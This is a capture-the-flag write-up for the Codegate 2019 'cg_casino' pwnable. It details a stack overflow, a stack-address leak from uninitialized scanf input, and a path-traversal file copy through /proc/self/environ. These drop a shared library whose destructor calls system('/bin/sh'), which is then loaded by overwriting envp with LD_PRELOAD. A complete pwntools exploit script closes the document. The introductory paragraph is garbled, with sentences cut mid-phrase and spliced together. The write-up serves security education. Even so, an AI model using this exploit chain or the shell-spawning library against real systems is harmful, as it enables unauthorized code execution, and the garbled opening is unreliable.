Codegate CTF 2019 Quals - cg_casino
Table of Contents
Codegate CTF 2019 Quals pwnable challenge The challenge implements three casino games along with When putting or merging a The function reads input byte by byte until encountering However, since I stumbled upon this during dynamic analysis - there’s a leak of uninitialized data in The game generates 6 random numbers between 0-44, stores them, and asks you to guess them by filling the Here’s the issue: if you input something that doesn’t match the This is actually a feature rather than a vulnerability, but By specifying a filename in stack’s That’s all the vulnerabilities, but the problem is there’s no way to upload files to the server. I needed to somehow upload a file, use That’s when I found this in the The When I actually overwrote the environment variables til the end of the stack, I confirmed that So we can manipulate stack values to leave data into a file at There are three conditions to write libc data to So I structured the payload as follows: During this process, since input is received through This needs to be added to the payload. Another issue here is that the environment variable area has limits, restricting the length of data that can be brought via I needed a libc smaller than 3432 bytes, which I created by compiling this source code on Interestingly, As confirmed earlier, inputting non- There’s a libc region address, but considering what we need, it’s closer to a stack address. I checked if executing another function first could leave a stack address at Since Now that the libc file executing the shell is in Since I defined I wrote test code and confirmed #1 works, but unfortunately #2 doesn’t. So I need to manipulate the current process’s environment variables and execute a process that uses those variables. Then I remembered that The current process Following the memory: The structure is So we need to follow this structure, making sure to include The problem is that the environment variables end up at the edge of the stack, and this offset isn’t consistent, creating a probability issue. Continuously checking the difference showed variations around 0x00. Introduction
[*] '/home/user/cg_casino'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000) Concept
➜ nc 0 6677
$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$ CG CASINO $$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> put voucher and merge voucher functionalities. 0x01. Vulnerability
Stack Overflow
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
char new[48]; // [rsp+30h] [rbp-60h] BYREF
char old[40]; // [rsp+60h] [rbp-30h] BYREF
...
switch ( choice )
{
case 1:
memset(new, 0, 0x28uLL);
printf("input voucher : ");
read_401108((__int64)new);
len32_alnum_4010A4(new);
break;
case 2:
memset(old, 0, sizeof(old));
printf("input old voucher : ");
read_401108((__int64)old);
xstat_unlink_400F09(new, old);
break;
}
...
}voucher, the voucher name is received through read_401108():unsigned __int64 __fastcall read_401108(__int64 a1)
{
...
while ( 1 )
{
if ( (unsigned int)read(0, &buf, 1uLL) != 1 )
exit(-1);
if ( buf == 10 )
break;
index = i++;
*(_BYTE *)(a1 + index) = buf;
}
v1 = i++;
*(_BYTE *)(v1 + a1) = 0;
...
}\n, which causes an overflow all the way to the end of the stack.main() calls exit() directly without returning, gaining RIP control appears difficult. Stack Leak
lotto_4011A7():unsigned __int64 lotto_4011A7()
{
...
int number[6]; // [rsp+10h] [rbp-40h]
int guess[6]; // [rsp+30h] [rbp-20h] BYREF
...
while ( i <= 5 )
{
__isoc99_scanf("%u", &guess[i]);
getchar();
if ( (unsigned int)guess[i] <= 44 )
++i;
else
printf("%u : out of range\n", (unsigned int)guess[i]);
}
puts("===================");
...
}guess array.%u format (like a), scanf fails and prints the existing value in guess:GUESS 6 Numbers!
===================
| | | | | | |
===================
a a a a a a
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range File Copy
merge voucher calls this function:unsigned __int64 __fastcall xstat_unlink_400F09(const char *new, char *old)
{
...
if ( strlen(old) == 32 )
{
if ( xstat_4016D0(old, &n_4) == -1 )
{
puts("voucher doesn't exist");
}
else if ( n_4.st_size <= 4096 )
{
fd_old = open(old, 0);
if ( fd_old != -1 )
{
len = read(fd_old, buf, 4096uLL);
close(fd_old);
fd_new = open(new, 66, 384LL);
if ( fd_new != -1 )
{
write(fd_new, buf, len);
close(fd_new);
unlink(old);
}
memset(buf, 0, 0x1000uLL);
}
}
...
}
}new through put voucher, you can move any 32-byte filename to the /home/cg_casino/voucher/ directory. Since there’s no validation on the input, the length restriction can be bypassed by combining ../ and ./:../../../../../../././etc/passwd 0x02. Exploit
File Drop
merge voucher to move it to /home/cg_casino/voucher/, then proceed to the next step…/proc/self/environ file:cg_casino@3197b44a521a:~/voucher$ cat /proc/1203/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...AAAA values are environment variables defined in docker-compose.yml, and the front part being overwritten with different content suggested the values reflect runtime changes./proc/self/environ changed:cg_casino@3197b44a521a:~/voucher$ cat /proc/1241/environ
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
.../proc/self/environ. Stack Overflow & File Copy
/proc/self/environ and bring it to /home/cg_casino/voucher:new in main must be the filename to save in /home/cg_casino/voucherold in main must be 32 bytes long and point to /proc/self/environ payload = b"mylib.so\x00"
payload += b"\x00" * (env - buf - len(payload))
payload += lib_data
payload += b"\x00" * (3432 - (len(payload)))
put_voucher(s, payload)
merge_voucher(s, b"../../../../../proc/self/environ")read_401108(), there’s a risk of data being cut off if libc contains \x0a. There was indeed a \x0a, so I tried replacing it with \x0b and fortunately the libc worked fine: with open("./mylib.so", "rb") as f:
lib_data = f.read()
lib_data = lib_data.replace(b"\x0a", b"\x0b") Small Libc
merge voucher:root@3197b44a521a:/home/cg_casino/voucher# ls -al
total 16
drwxrwx-wx 1 root root 4096 Aug 1 05:24 .
drwxr-xr-x 1 root root 4096 Jul 31 08:08 ..
-rw------- 1 cg_casino cg_casino 3432 Aug 1 05:23 mylib.soUbuntu 16.04:// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
__attribute__((destructor))
void on_unload() {
system("/bin/sh");
}Ubuntu 22.04 produces a much larger file size with the same compilation options - compiler version can make such a significant difference:➜ ls -al | grep mylib_from
-rwxr-xr-x 1 user user 2632 Aug 1 08:28 mylib_from1604.so
-rwxr-xr-x 1 user user 10160 Aug 1 14:40 mylib_from2204.so Stack Leak
%u format data in lotto_4011A7() prints guess[i] data. Since guess is an array of 6 integers, we can examine 0x18 bytes of memory. Checking the uninitialized guess values:gef➤ x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000 0x00007ffff7ffe168
0x7fffffffdf00: 0x0000000000000000$rsp+0x30. Calling up_down_40139E() followed by lotto_4011A7() works:gef➤ x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000 0x00007fffffffdf10
0x7fffffffdf00: 0x0000000000400bb0guess is integer, inputting ‘a’ for the 3rd and 4th inputs leaks 4 bytes each: updown(s, [1, 1, 1, 1, 1, 1])
r = lotto(s, b"1 2 a 3 a 4 5 6")
lower = int(r.split(b" : ")[0])
upper = int(r.split(b" : ")[1].split(b"\n")[1])
buf = upper << 32 | lower + 0x40
log.info(f"buf : {hex(buf)}") Envp Overwrite
/home/cg_casino/voucher, we just need to execute it. The common technique for loading a desired libc uses the LD_PRELOAD environment variable, so I considered how to leverage this.on_unload() in the libc, I needed to verify two things:exit(0); trigger on_unload()?LD_PRELOAD?slot_401477() uses system("/usr/bin/clear");, and during dynamic analysis this message appeared: _______
|JACKPOT|
=========================
| ___ ___ ___ |
| | ? | | ? | | ? | |
| |___| |___| |___| |
=========================
|________________________|
press any key
TERM environment variable not setcg_casino has environment variables cleared via ERASER in docker-compose.yml. When using system() here, execve() is called internally and **envp seems to be passed in this process.**envp is passed as the third argument when main() is called, and stored at $rbp-0x88 early in main(): 0x400ca6: push rbp
0x400ca7: mov rbp,rsp
0x400caa: sub rsp,0x90
0x400cb1: mov DWORD PTR [rbp-0x74],edi
0x400cb4: mov QWORD PTR [rbp-0x80],rsi
0x400cb8: mov QWORD PTR [rbp-0x88],rdxgef➤ x/gx $rbp-0x88
0x7fffffffdf28: 0x00007fffffffe0a8
gef➤ x/10gx 0x00007fffffffe0a8
0x7fffffffe0a8: 0x00007fffffffe276 0x00007fffffffe2b8
0x7fffffffe0b8: 0x00007fffffffe2ce 0x00007fffffffe564
0x7fffffffe0c8: 0x00007fffffffe7fa 0x00007fffffffea90
0x7fffffffe0d8: 0x00007fffffffed26 0x00007fffffffefbc
0x7fffffffe0e8: 0x00007fffffffefc7 0x0000000000000000
gef➤ x/s 0x00007fffffffe276
0x7fffffffe276: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"**envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)`.null at the end of *envp: payload = b"\x00" * (env_p_p - buf)
payload += p64(env_p)
payload += b"\x00" * (env_p - buf - len(payload))
payload += p64(env)
payload += b"\x00" * (env - buf - len(payload))
payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
put_voucher(s, payload)
s.sendline(b"5")0xXX0, suggesting success rate of 1/256. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os
DEBUG = False
BINARY = "cg_casino"
CONTAINER = "d20ec1bc9a88"
bp = {
"getchar_of_main" : 0x400CF8,
"read_bof" : 0x401108,
"xstat_unlink" : 0x400F09,
"slotmachine" : 0x401477,
"lotto" : 0x4011A7,
"scanf_of_lotto" : 0x40129D,
}
gs = f'''
set follow-fork-mode child
!b *{bp["xstat_unlink"]}
b *{bp["getchar_of_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def put_voucher(s, new):
s.sendline(b"1")
s.recvuntil(b" : ")
s.sendline(new)
sleep(0.1)
return s.recvuntil(b"> ")
def merge_voucher(s, old):
s.sendline(b"2")
s.recvuntil(b" : ")
s.sendline(old)
return s.recvuntil(b"> ")
def lotto(s, numbers):
s.sendline(b"3")
sleep(0.1)
s.recv()
s.sendline(numbers)
return s.recvuntil(b"> ")
def updown(s, numbers):
s.sendline(b"4")
s.recvuntil(b". \n")
for number in numbers:
s.sendline(str(number).encode())
s.recvuntil(b"it\n")
return s.recvuntil(b"> ")
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
if DEBUG:
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(f"/home/user/{BINARY}")
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
with open("./mylib.so", "rb") as f:
lib_data = f.read()
lib_data = lib_data.replace(b"\x0a", b"\x0b")
s.recvuntil(b"> ")
updown(s, [1, 1, 1, 1, 1, 1])
r = lotto(s, b"1 2 a 3 a 4 5 6")
lower = int(r.split(b" : ")[0])
upper = int(r.split(b" : ")[1].split(b"\n")[1])
buf = upper << 32 | lower + 0x40
log.info(f"buf : {hex(buf)}")
env = buf + 0x1796
env = buf + 0x326
env_p = buf + 0x158
env_p_p = buf + 0xe8
log.info(f"env_p_p : {hex(env_p_p)}")
log.info(f"env_p : {hex(env_p)}")
log.info(f"env : {hex(env)}")
payload = b"mylib.so\x00"
payload += b"\x00" * (env - buf - len(payload))
payload += lib_data
payload += b"\x00" * (3432 - (len(payload)))
put_voucher(s, payload)
pause()
merge_voucher(s, b"../../../../../proc/self/environ")
payload = b"\x00" * (env_p_p - buf)
payload += p64(env_p)
payload += b"\x00" * (env_p - buf - len(payload))
payload += p64(env)
payload += b"\x00" * (env - buf - len(payload))
payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
put_voucher(s, payload)
s.sendline(b"5")
s.interactive()
if __name__=='__main__':
main()